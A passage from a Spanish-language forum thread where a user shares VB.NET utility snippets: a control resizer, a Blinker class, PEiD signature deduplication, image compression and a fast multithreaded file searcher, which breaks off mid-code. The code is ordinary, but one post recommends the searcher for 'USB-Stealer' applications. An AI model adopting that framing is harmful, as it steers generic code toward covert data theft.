  391.                If Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width) Then
  392.                    Me._ctrl.SetBounds(x:=Me._ctrl.Left + e.X,
  393.                                       y:=Me._ctrl.Top,
  394.                                       width:=Me._ctrl.Width - e.X,
  395.                                       height:=Me._ctrl.Height)
  396.                End If
  397.  
  398.            Case Edges.Right
  399.                Me._ctrl.SetBounds(x:=Me._ctrl.Left,
  400.                                   y:=Me._ctrl.Top,
  401.                                   width:=Me._ctrl.Width - (Me._ctrl.Width - e.X),
  402.                                   height:=Me._ctrl.Height)
  403.  
  404.            Case Edges.Top
  405.                If Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height) Then
  406.                    Me._ctrl.SetBounds(x:=Me._ctrl.Left,
  407.                                       y:=Me._ctrl.Top + e.Y,
  408.                                       width:=Me._ctrl.Width,
  409.                                       height:=Me._ctrl.Height - e.Y)
  410.                End If
  411.  
  412.            Case Edges.Bottom
  413.                Me._ctrl.SetBounds(x:=Me._ctrl.Left,
  414.                                   y:=Me._ctrl.Top,
  415.                                   width:=Me._ctrl.Width,
  416.                                   height:=Me._ctrl.Height - (Me._ctrl.Height - e.Y))
  417.  
  418.            Case Edges.TopLeft
  419.                Me._ctrl.SetBounds(x:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
  420.                                         Me._ctrl.Left + e.X,
  421.                                         Me._ctrl.Left),
  422.                                   y:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
  423.                                         Me._ctrl.Top + e.Y,
  424.                                         Me._ctrl.Top),
  425.                                   width:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
  426.                                             Me._ctrl.Width - e.X,
  427.                                             Me._ctrl.Width),
  428.                                   height:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
  429.                                              Me._ctrl.Height - e.Y,
  430.                                              Me._ctrl.Height))
  431.  
  432.            Case Edges.TopRight
  433.                Me._ctrl.SetBounds(x:=Me._ctrl.Left,
  434.                                   y:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
  435.                                         Me._ctrl.Top + e.Y,
  436.                                         Me._ctrl.Top),
  437.                                   width:=Me._ctrl.Width - (Me._ctrl.Width - e.X),
  438.                                   height:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
  439.                                              Me._ctrl.Height - e.Y,
  440.                                              Me._ctrl.Height))
  441.  
  442.            Case Edges.BottomLeft
  443.                Me._ctrl.SetBounds(x:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
  444.                                         Me._ctrl.Left + e.X,
  445.                                         Me._ctrl.Left),
  446.                                   y:=Me._ctrl.Top,
  447.                                   width:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
  448.                                             Me._ctrl.Width - e.X,
  449.                                             Me._ctrl.Width),
  450.                                   height:=Me._ctrl.Height - (Me._ctrl.Height - e.Y))
  451.  
  452.            Case Edges.BottomRight
  453.                Me._ctrl.SetBounds(x:=Me._ctrl.Left,
  454.                                   y:=Me._ctrl.Top,
  455.                                   width:=Me._ctrl.Width - (Me._ctrl.Width - e.X),
  456.                                   height:=Me._ctrl.Height - (Me._ctrl.Height - e.Y))
  457.  
  458.        End Select
  459.  
  460.        Me._ctrl.ResumeLayout()
  461.  
  462.    End Sub
  463.  
  464. #End Region
  465.  
  466. #Region " Hidden Methods "
  467.  
  468.    ''' <summary>
  469.    ''' Serves as a hash function for a particular type.
  470.    ''' </summary>
  471.    <EditorBrowsable(EditorBrowsableState.Never)>
  472.    Public Shadows Sub GetHashCode()
  473.    End Sub
  474.  
  475.    ''' <summary>
  476.    ''' Gets the System.Type of the current instance.
  477.    ''' </summary>
  478.    ''' <returns>The exact runtime type of the current instance.</returns>
  479.    <EditorBrowsable(EditorBrowsableState.Never)>
  480.    Public Shadows Function [GetType]()
  481.        Return Me.GetType
  482.    End Function
  483.  
  484.    ''' <summary>
  485.    ''' Determines whether the specified System.Object instances are considered equal.
  486.    ''' </summary>
  487.    <EditorBrowsable(EditorBrowsableState.Never)>
  488.    Public Shadows Sub Equals()
  489.    End Sub
  490.  
  491.    ''' <summary>
  492.    ''' Determines whether the specified System.Object instances are the same instance.
  493.    ''' </summary>
  494.    <EditorBrowsable(EditorBrowsableState.Never)>
  495.    Private Shadows Sub ReferenceEquals()
  496.    End Sub
  497.  
  498.    ''' <summary>
  499.    ''' Returns a String that represents the current object.
  500.    ''' </summary>
  501.    <EditorBrowsable(EditorBrowsableState.Never)>
  502.    Public Shadows Sub ToString()
  503.    End Sub
  504.  
  505. #End Region
  506.  
  507. #Region " IDisposable "
  508.  
  509.    ''' <summary>
  510.    ''' To detect redundant calls when disposing.
  511.    ''' </summary>
  512.    Private IsDisposed As Boolean = False
  513.  
  514.    ''' <summary>
  515.    ''' Prevent calls to methods after disposing.
  516.    ''' </summary>
  517.    ''' <exception cref="System.ObjectDisposedException"></exception>
  518.    Private Sub DisposedCheck()
  519.  
  520.        If Me.IsDisposed Then
  521.            Throw New ObjectDisposedException(Me.GetType().FullName)
  522.        End If
  523.  
  524.    End Sub
  525.  
  526.    ''' <summary>
  527.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  528.    ''' </summary>
  529.    Public Sub Dispose() Implements IDisposable.Dispose
  530.        Dispose(True)
  531.        GC.SuppressFinalize(Me)
  532.    End Sub
  533.  
  534.    ''' <summary>
  535.    ''' Releases unmanaged and - optionally - managed resources.
  536.    ''' </summary>
  537.    ''' <param name="IsDisposing">
  538.    ''' <c>true</c> to release both managed and unmanaged resources;
  539.    ''' <c>false</c> to release only unmanaged resources.
  540.    ''' </param>
  541.    Protected Sub Dispose(ByVal IsDisposing As Boolean)
  542.  
  543.        If Not Me.IsDisposed Then
  544.  
  545.            If IsDisposing Then
  546.  
  547.                With Me._ctrl
  548.  
  549.                    If Not .IsDisposed AndAlso Not .Disposing Then
  550.  
  551.                        RemoveHandler .MouseEnter, AddressOf ctrl_MouseEnter
  552.                        RemoveHandler .MouseLeave, AddressOf ctrl_MouseLeave
  553.                        RemoveHandler .MouseDown, AddressOf ctrl_MouseDown
  554.                        RemoveHandler .MouseMove, AddressOf ctrl_MouseMove
  555.                        RemoveHandler .MouseUp, AddressOf ctrl_MouseUp
  556.  
  557.                    End If
  558.  
  559.                End With ' Me._ctrl
  560.  
  561.                With Me
  562.  
  563.                    .Enabled = False
  564.                    .oldCursor = Nothing
  565.                    ._ctrl = Nothing
  566.  
  567.                End With ' Me
  568.  
  569.            End If ' IsDisposing
  570.  
  571.        End If ' Not Me.IsDisposed
  572.  
  573.        Me.IsDisposed = True
  574.  
  575.    End Sub
  576.  
  577. #End Region
  578.  
  579. End Class
  580.  
  581. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Noviembre 2014, 01:58 am
Una actualización de este snippet para añadir el efecto de parpadeo a un control, o al texto de un control, es muy sencillo de usar.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 16-November-2014
  4. ' ***********************************************************************
  5. ' <copyright file="Blinker.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Option Restrictions "
  11.  
  12. Option Strict On
  13. Option Explicit On
  14. Option Infer Off
  15.  
  16. #End Region
  17.  
  18. #Region " Usage Examples "
  19.  
  20. 'Public Class Form1
  21. '
  22. '    Private labelBlinker As Blinker
  23. '
  24. '    Private Shadows Sub Shown() Handles MyBase.Shown
  25. '
  26. '        Me.labelBlinker = New Blinker(ctrl:=Label1)
  27. '
  28. '        ' Blink
  29. '        With Me.labelBlinker
  30. '            .Blink(interval:=500)
  31. '            .BlinkText(interval:=500, customText:="Custom Text!")
  32. '        End With
  33. '
  34. '        ' Unblink
  35. '        With Me.labelBlinker
  36. '            .Unblink(visible:=True)
  37. '            .UnblinkText(restoreText:=True)
  38. '        End With
  39. '
  40. '    End Sub
  41. '
  42. 'End Class
  43.  
  44. #End Region
  45.  
  46. ''' <summary>
  47. ''' Blinks a Control.
  48. ''' </summary>
  49. Friend NotInheritable Class Blinker
  50.  
  51. #Region " Properties "
  52.  
  53.    ''' <summary>
  54.    ''' Gets or sets the control to blink.
  55.    ''' </summary>
  56.    ''' <value>The control to blink.</value>
  57.    Friend Property Ctrl As Control
  58.  
  59. #End Region
  60.  
  61. #Region " Objects "
  62.  
  63.    ''' <summary>
  64.    ''' A custom text to restore it after blinking the control.
  65.    ''' </summary>
  66.    Private textToRestore As String
  67.  
  68.    ''' <summary>
  69.    ''' A Timer to blink a control.
  70.    ''' </summary>
  71.    Private WithEvents blinkTimer As Timer
  72.  
  73.    ''' <summary>
  74.    ''' A Timer to blink the text of a control.
  75.    ''' </summary>
  76.    Private WithEvents blinkTextTimer As Timer
  77.  
  78.    ''' <summary>
  79.    ''' Determines whether the control is blinking.
  80.    ''' </summary>
  81.    Private isBlinking As Boolean = False
  82.  
  83.    ''' <summary>
  84.    ''' Determines whether the text of the control is blinking.
  85.    ''' </summary>
  86.    Private isBlinkingText As Boolean = False
  87.  
  88. #End Region
  89.  
  90. #Region " Constructors "
  91.  
  92.    ''' <summary>
  93.    ''' Initializes a new instance of the <see cref="Blinker" /> class.
  94.    ''' </summary>
  95.    ''' <param name="ctrl">Indicates the control to blink.</param>
  96.    Public Sub New(ByVal ctrl As Control)
  97.  
  98.        ' Assign the control to blink.
  99.        Me.Ctrl = ctrl
  100.  
  101.    End Sub
  102.  
  103.    ''' <summary>
  104.    ''' Prevents a default instance of the <see cref="Blinker"/> class from being created.
  105.    ''' </summary>
  106.    Private Sub New()
  107.    End Sub
  108.  
  109. #End Region
  110.  
  111. #Region " Public Methods "
  112.  
  113.    ''' <summary>
  114.    ''' Blinks the Control.
  115.    ''' </summary>
  116.    ''' <param name="Interval">Indicates the blink interval, in ms.</param>
  117.    Public Sub Blink(Optional ByVal interval As Integer = 500I)
  118.  
  119.        If blinkTimer Is Nothing Then
  120.            blinkTimer = New Timer
  121.        End If
  122.  
  123.        With blinkTimer
  124.            .Interval = interval
  125.            .Enabled = True
  126.        End With
  127.  
  128.        Me.isBlinking = True
  129.  
  130.    End Sub
  131.  
  132.    ''' <summary>
  133.    ''' Stop blinking the Control.
  134.    ''' </summary>
  135.    ''' <param name="Visible">Indicates the visibility of the control.</param>
  136.    Public Sub Unblink(Optional ByVal visible As Boolean = True)
  137.  
  138.        If Not isBlinking Then
  139.            Exit Sub
  140.        End If
  141.  
  142.        With blinkTimer
  143.            .Enabled = False
  144.        End With
  145.  
  146.        Me.Ctrl.Visible = visible
  147.        Me.isBlinking = False
  148.  
  149.    End Sub
  150.  
  151.    ''' <summary>
  152.    ''' Blinks the text content of the Control.
  153.    ''' </summary>
  154.    ''' <param name="Interval">Indicates the blink interval.</param>
  155.    ''' <param name="CustomText">Indicates a custom text to blink.</param>
  156.    Public Sub BlinkText(Optional ByVal interval As Integer = 500I,
  157.                         Optional ByVal customText As String = Nothing)
  158.  
  159.        If blinkTextTimer Is Nothing Then
  160.            blinkTextTimer = New Timer
  161.        End If
  162.  
  163.        With blinkTextTimer
  164.            .Tag = If(String.IsNullOrEmpty(customText), Me.Ctrl.Text, customText)
  165.            .Interval = interval
  166.            .Enabled = True
  167.        End With
  168.  
  169.        Me.textToRestore = Me.Ctrl.Text
  170.        Me.isBlinkingText = True
  171.  
  172.    End Sub
  173.  
  174.    ''' <summary>
  175.    ''' Stop blinking the text content of the Control.
  176.    ''' </summary>
  177.    ''' <param name="RestoreText">If set to <c>true</c>, the control text is resetted to the initial state before started blinking.</param>
  178.    Public Sub UnblinkText(Optional ByVal restoreText As Boolean = False)
  179.  
  180.        If Not isBlinkingText Then
  181.            Exit Sub
  182.        End If
  183.  
  184.        With blinkTextTimer
  185.            .Enabled = False
  186.        End With
  187.  
  188.        If restoreText Then
  189.            Me.Ctrl.Text = Me.textToRestore
  190.        End If
  191.  
  192.        Me.isBlinkingText = False
  193.  
  194.    End Sub
  195.  
  196. #End Region
  197.  
  198. #Region " Event Handlers"
  199.  
  200.    ''' <summary>
  201.    ''' Handles the Tick event of the BlinkTimer control.
  202.    ''' </summary>
  203.    ''' <param name="sender">The source of the event.</param>
  204.    ''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
  205.    Private Sub BlinkTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
  206.    Handles blinkTimer.Tick
  207.  
  208.        Me.Ctrl.Visible = Not Me.Ctrl.Visible
  209.  
  210.    End Sub
  211.  
  212.    ''' <summary>
  213.    ''' Handles the Tick event of the BlinkTextTimer control.
  214.    ''' </summary>
  215.    ''' <param name="sender">The source of the event.</param>
  216.    ''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
  217.    Private Sub BlinkTextTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
  218.    Handles blinkTextTimer.Tick
  219.  
  220.        If String.IsNullOrEmpty(Me.Ctrl.Text) Then
  221.            Me.Ctrl.Text = DirectCast(DirectCast(sender, Timer).Tag, String)
  222.  
  223.        Else
  224.            Me.Ctrl.Text = String.Empty
  225.  
  226.        End If
  227.  
  228.    End Sub
  229.  
  230. #End Region
  231.  
  232. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: TrashAmbishion en 27 Diciembre 2014, 19:38 pm
Chevere los snippets estan actualizados con los ultimos ejemplos que estas publicando, salu2 y gracias por los aportes, son muy utiles


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Diciembre 2014, 11:51 am
Chevere los snippets estan actualizados con los ultimos ejemplos que estas publicando, salu2 y gracias por los aportes, son muy utiles

Gracias por comentar :)



He ideado este código para ordenar una base de datos de firmas de la aplicación PeId, y eliminar firmas duplicadas:

http://www.aldeid.com/wiki/PEiD#PEiD

Código
  1.        Dim commentPattern As New Regex(";.+", RegexOptions.Multiline)
  2.        Dim blockPattern As New Regex("\n\s+?$", RegexOptions.Multiline)
  3.        Dim namePattern As New Regex("\[(.+)\]", RegexOptions.Singleline)
  4.        Dim sigPattern As New Regex("signature\s=\s(.+)", RegexOptions.Singleline)
  5.  
  6.        Dim userDB As String = File.ReadAllText(".\UserDB.txt", Encoding.UTF8)
  7.  
  8.        Dim orderedBlocks As IEnumerable(Of String) =
  9.            From match As String In blockPattern.Split(userDB)
  10.            Order By namePattern.Match(match).Value
  11.            Select commentPattern.Replace(match, "").
  12.                   Trim(Environment.NewLine.ToCharArray)
  13.  
  14.        Dim distinctedBlocks As IEnumerable(Of String) =
  15.            From match As String In orderedBlocks
  16.            Group By sigPattern.Match(match).Value
  17.            Into Group
  18.            Select Group.First
  19.  
  20.        File.WriteAllText(".\New_UserDB.txt", String.Join(New String(ControlChars.Lf, 2), distinctedBlocks), Encoding.UTF8)
  21.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Enero 2015, 16:03 pm
Compriimir una imagen mediante pérdida de calidad, hasta el tamaño objetivo:

Código
  1.        ''' <summary>
  2.        ''' Compress an image to the specified target filesize.
  3.        ''' </summary>
  4.        ''' <param name="inputFile">The input image file.</param>
  5.        ''' <param name="targettFile">The target image file.</param>
  6.        ''' <param name="targetImageFormat">The target image format.</param>
  7.        ''' <param name="targetFileSize">The target filesize, in bytes.</param>
  8.        ''' <exception cref="System.NotImplementedException">Resize Image to -1% and reset quality compression...</exception>
  9.        Private Sub CompressImage(ByVal inputFile As String,
  10.                                  ByVal targettFile As String,
  11.                                  ByVal targetImageFormat As ImageFormat,
  12.                                  ByVal targetFileSize As Long)
  13.  
  14.            Dim qualityPercent As Integer = 100
  15.            Dim bmp As New Bitmap(inputFile)
  16.            Dim codecInfo As ImageCodecInfo = (From codec As ImageCodecInfo In ImageCodecInfo.GetImageDecoders
  17.                                               Where codec.FormatID = targetImageFormat.Guid).First
  18.            Dim encoder As Imaging.Encoder = Imaging.Encoder.Quality
  19.            Dim encoderParameters As New EncoderParameters(1)
  20.  
  21.            Using encoderParameter As New EncoderParameter(encoder, qualityPercent)
  22.                encoderParameters.Param(0) = encoderParameter
  23.                bmp.Save(targettFile, codecInfo, encoderParameters)
  24.            End Using
  25.  
  26.            Dim fInfo As New FileInfo(targettFile)
  27.  
  28.            Do Until fInfo.Length <= targetFileSize
  29.  
  30.                qualityPercent -= 1
  31.  
  32.                If qualityPercent = 50 Then ' Esto lo pongo de manera opcional.
  33.                    Throw New NotImplementedException("Resize Image to -1% and reset quality compression...")
  34.                End If
  35.  
  36.               ' If qualityPercent = 60 Then
  37.               '     resizePercent -= 1
  38.               '     bmp = ImageTools.ResizeImage(bmp, resizePercent)
  39.               '     qualityPercent = 99
  40.               ' End If
  41.  
  42.                Using encoderParameter As New EncoderParameter(encoder, qualityPercent)
  43.                    encoderParameters.Param(0) = encoderParameter
  44.                    bmp.Save(targettFile, codecInfo, encoderParameters)
  45.                End Using
  46.                fInfo = New FileInfo(targettFile)
  47.  
  48.            Loop
  49.  
  50.            encoderParameters.Dispose()
  51.            bmp.Dispose()
  52.  
  53.        End Sub

Plus esta funcion para redimensionar una imagen mediante porcentaje, para utilizarla en conjunto con el método de arriba:

Código
  1.        ''' <summary>
  2.        ''' Resizes an image by a percentage.
  3.        ''' </summary>
  4.        ''' <param name="Bitmap">Indicates the image to resize.</param>
  5.        ''' <param name="Percent">Indicates the percent size.</param>
  6.        ''' <returns>Bitmap.</returns>
  7.        Public Function ResizeImage(ByVal bitmap As Drawing.Bitmap,
  8.                                    ByVal percent As Double,
  9.                                    Optional ByVal quality As Drawing2D.InterpolationMode =
  10.                                                              Drawing2D.InterpolationMode.HighQualityBicubic,
  11.                                    Optional ByVal pixelFormat As Imaging.PixelFormat =
  12.                                                                  Imaging.PixelFormat.Format24bppRgb) As Drawing.Bitmap
  13.  
  14.            Dim width As Integer = (bitmap.Width \ (100I / percent))
  15.            Dim height As Integer = (bitmap.Height \ (100I / percent))
  16.  
  17.            Dim newBitmap As New Bitmap(width, height, pixelFormat)
  18.  
  19.            Using g As Graphics = Graphics.FromImage(newBitmap)
  20.                g.InterpolationMode = quality
  21.                g.DrawImage(bitmap, 0, 0, width, height)
  22.            End Using
  23.  
  24.            Return newBitmap
  25.  
  26.        End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: OscarCadenas_91 en 9 Febrero 2015, 09:12 am
que guay todo lo que aportas vale oro.

Gracias por compartir tus codigos ;-) ;-)


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 14 Febrero 2015, 17:12 pm
Tras analizar diversos enfoques de iteradores y paralelismo para optimizar la manera de buscar archivos/carpetas, y aunque al final he preferido no programar las funciones de manera asíncrona, les presento el método definitivo (bueno, o casi xD) para buscar archivos/directorios de manera sencilla, personalizada, omitiendo y/o controlando errores de permisos de usuario (eso si, de forma básica, quien quiera puede añadirle eventos para un mayor control), y realizando una búsqueda muy, muy rápida al dividir el trabajo en varios threads, de esta manera disminuirán el tiempo de ejecución hasta un 400% en las búsquedas de archivos por ejemplo sería muy útil en aplicaciones de tipo USB-Stealer, donde es primordial la rápidez del algoritmo sin dejar de lado la eficiencia del mismo.

Modo de empleo:

Código
  1. Dim filePaths As List(Of String) = FileDirSearcher.GetFilePaths("C:\Windows\System32", SearchOption.AllDirectories).ToList
  2. Dim dirPaths As List(Of String) = FileDirSearcher.GetDirPaths("C:\Windows\System32", SearchOption.AllDirectories).ToList

o:
Código
  1. Dim files As List(Of FileInfo) = FileDirSearcher.GetFiles("C:\Windows\System32", SearchOption.AllDirectories).ToList
  2. Dim dirs As List(Of DirectoryInfo) = FileDirSearcher.GetDirs("C:\Windows\System32", SearchOption.AllDirectories).ToList

o:
Código
  1. Dim files As IEnumerable(Of FileInfo) = FileDirSearcher.GetFiles(dirPath:="C:\Windows\System32",
  2.                                                                 searchOption:=SearchOption.TopDirectoryOnly,
  3.                                                                 fileNamePatterns:={"*"},
  4.                                                                 fileExtPatterns:={"*.dll", "*.exe"},
  5.                                                                 ignoreCase:=True,
  6.                                                                 throwOnError:=True)
  7.  
  8. Dim dirs As IEnumerable(Of DirectoryInfo) = FileDirSearcher.GetDirs(dirPath:="C:\Windows\System32",
  9.                                                                    searchOption:=SearchOption.TopDirectoryOnly,
  10.                                                                    dirPathPatterns:={"*"},
  11.                                                                    dirNamePatterns:={"*Microsoft*"},
  12.                                                                    ignoreCase:=True,
  13.                                                                    throwOnError:=True)
  14.  

Source: http://pastebin.com/yrcvG7LP

EDITO: Versión anterior del código fuente de este Snippet (no tiene ninguna mejora implementada), por si quieren comparar los tiempos de espera de búsqueda: http://pastebin.com/Wg5SHdmS


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 14 Febrero 2015, 20:30 pm
Esto es una versión "reducida" de la class para buscar archivos/directorios. El funcionamiento es el mismo pero internamente trabaja de manera ligeramente distinta, simplemente lo he estructurado de otra forma más óptima para eliminar toda la repetición de código posible y así hacer el entendimiento del código más ameno, los resultados son los mismos.

Nota: Si alquien quiere comparar este código con algún otro algoritmo (que de seguro los hay mejores) para hacer algún tipo de profilling de I/O o del rendimiento de memoria entonces no se vayan a asustar por el consumo de memoria al recojer +100k de archivos, es el GarbageCollector de .Net haciendo de las suyas... lo pueden invokar manualmente (GC.Collect) y desaparecerá todo ese consumo ficticio de RAM.

Espero que a alguien le sirva el code :):

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 14-February-2015
  4. ' ***********************************************************************
  5.  
  6. #Region " Usage Examples "
  7.  
  8. ' he eliminado esto por el límite de caracteres del foro
  9.  
  10. #End Region
  11.  
  12. #Region " Option Statements "
  13.  
  14. Option Explicit On
  15. Option Strict On
  16. Option Infer Off
  17.  
  18. #End Region
  19.  
  20. #Region " Imports "
  21.  
  22. Imports System.IO
  23. Imports System.Collections.Concurrent
  24. Imports System.Threading.Tasks
  25.  
  26. #End Region
  27.  
  28. #Region " File Dir Searcher "
  29.  
  30. ''' <summary>
  31. ''' Searchs for files and directories.
  32. ''' </summary>
  33. Public NotInheritable Class FileDirSearcher
  34.  
  35. #Region " Public Methods "
  36.  
  37.    ''' <summary>
  38.    ''' Gets the files those matches the criteria inside the specified directory and/or sub-directories.
  39.    ''' </summary>
  40.    ''' <param name="dirPath">The root directory path to search for files.</param>
  41.    ''' <param name="searchOption">The searching mode.</param>
  42.    ''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
  43.    ''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
  44.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
  45.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
  46.    ''' <returns>An <see cref="IEnumerable(Of FileInfo)"/> instance containing the files information.</returns>
  47.    ''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
  48.    Public Shared Function GetFiles(ByVal dirPath As String,
  49.                                    ByVal searchOption As SearchOption,
  50.                                    Optional ByVal fileNamePatterns As IEnumerable(Of String) = Nothing,
  51.                                    Optional ByVal fileExtPatterns As IEnumerable(Of String) = Nothing,
  52.                                    Optional ByVal ignoreCase As Boolean = True,
  53.                                    Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of FileInfo)
  54.  
  55.        ' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
  56.        AnalyzePath(dirPath)
  57.  
  58.        ' Analyze the passed arguments.
  59.        AnalyzeArgs(dirPath, searchOption)
  60.  
  61.        ' Get and return the files.
  62.        Dim queue As New ConcurrentQueue(Of FileInfo)
  63.        CollectFiles(queue, dirPath, searchOption, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
  64.        Return queue.AsEnumerable
  65.  
  66.    End Function
  67.  
  68.    ''' <summary>
  69.    ''' Gets the filepaths those matches the criteria inside the specified directory and/or sub-directories.
  70.    ''' </summary>
  71.    ''' <param name="dirPath">The root directory path to search for files.</param>
  72.    ''' <param name="searchOption">The searching mode.</param>
  73.    ''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
  74.    ''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
  75.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
  76.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
  77.    ''' <returns>An <see cref="IEnumerable(Of String)"/> instance containing the filepaths.</returns>
  78.    ''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
  79.    Public Shared Function GetFilePaths(ByVal dirPath As String,
  80.                                        ByVal searchOption As SearchOption,
  81.                                        Optional ByVal fileNamePatterns As IEnumerable(Of String) = Nothing,
  82.                                        Optional ByVal fileExtPatterns As IEnumerable(Of String) = Nothing,
  83.                                        Optional ByVal ignoreCase As Boolean = True,
  84.                                        Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of String)
  85.  
  86.        ' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
  87.        AnalyzePath(dirPath)
  88.  
  89.        ' Analyze the passed arguments.
  90.        AnalyzeArgs(dirPath, searchOption)
  91.  
  92.        ' Get and return the filepaths.
  93.        Dim queue As New ConcurrentQueue(Of String)
  94.        CollectFilePaths(queue, dirPath, searchOption, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
  95.        Return queue.AsEnumerable
  96.  
  97.    End Function
  98.  
  99.    ''' <summary>
  100.    ''' Gets the directories those matches the criteria inside the specified directory and/or sub-directories.
  101.    ''' </summary>
  102.    ''' <param name="dirPath">The root directory path to search for directories.</param>
  103.    ''' <param name="searchOption">The searching mode.</param>
  104.    ''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
  105.    ''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
  106.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
  107.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
  108.    ''' <returns>An <see cref="IEnumerable(Of DirectoryInfo)"/> instance containing the dirrectories information.</returns>
  109.    ''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
  110.    Public Shared Function GetDirs(ByVal dirPath As String,
  111.                                   ByVal searchOption As SearchOption,
  112.                                   Optional ByVal dirPathPatterns As IEnumerable(Of String) = Nothing,
  113.                                   Optional ByVal dirNamePatterns As IEnumerable(Of String) = Nothing,
  114.                                   Optional ByVal ignoreCase As Boolean = True,
  115.                                   Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of DirectoryInfo)
  116.  
  117.        ' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
  118.        AnalyzePath(dirPath)
  119.  
  120.        ' Analyze the passed arguments.
  121.        AnalyzeArgs(dirPath, searchOption)
  122.  
  123.        ' Get and return the directories.
  124.        Dim queue As New ConcurrentQueue(Of DirectoryInfo)
  125.        CollectDirs(queue, dirPath, searchOption, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
  126.        Return queue.AsEnumerable
  127.  
  128.    End Function
  129.  
  130.    ''' <summary>
  131.    ''' Gets the filepaths those matches the criteria inside the specified directory and/or sub-directories.
  132.    ''' </summary>
  133.    ''' <param name="dirPath">The root directory path to search for directories.</param>
  134.    ''' <param name="searchOption">The searching mode.</param>
  135.    ''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
  136.    ''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
  137.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
  138.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
  139.    ''' <returns>An <see cref="IEnumerable(Of String)"/> instance containing the directory paths.</returns>
  140.    ''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
  141.    Public Shared Function GetDirPaths(ByVal dirPath As String,
  142.                                       ByVal searchOption As SearchOption,
  143.                                       Optional ByVal dirPathPatterns As IEnumerable(Of String) = Nothing,
  144.                                       Optional ByVal dirNamePatterns As IEnumerable(Of String) = Nothing,
  145.                                       Optional ByVal ignoreCase As Boolean = True,
  146.                                       Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of String)
  147.  
  148.        ' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
  149.        AnalyzePath(dirPath)
  150.  
  151.        ' Analyze the passed arguments.
  152.        AnalyzeArgs(dirPath, searchOption)
  153.  
  154.        ' Get and return the directory paths.
  155.        Dim queue As New ConcurrentQueue(Of String)
  156.        CollectDirPaths(queue, dirPath, searchOption, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
  157.        Return queue.AsEnumerable
  158.  
  159.    End Function
  160.  
  161. #End Region
  162.  
  163. #Region " Private Methods "
  164.  
  165.    ''' <summary>
  166.    ''' Analyzes a directory path and perform specific changes on it.
  167.    ''' </summary>
  168.    ''' <param name="dirPath">The directory path.</param>
  169.    ''' <exception cref="System.ArgumentNullException">dirPath;Value is null, empty, or white-spaced.</exception>
  170.    Private Shared Sub AnalyzePath(ByRef dirPath As String)
  171.  
  172.        If String.IsNullOrEmpty(dirPath) OrElse String.IsNullOrWhiteSpace(dirPath) Then
  173.            Throw New ArgumentNullException("dirPath", "Value is null, empty, or white-spaced.")
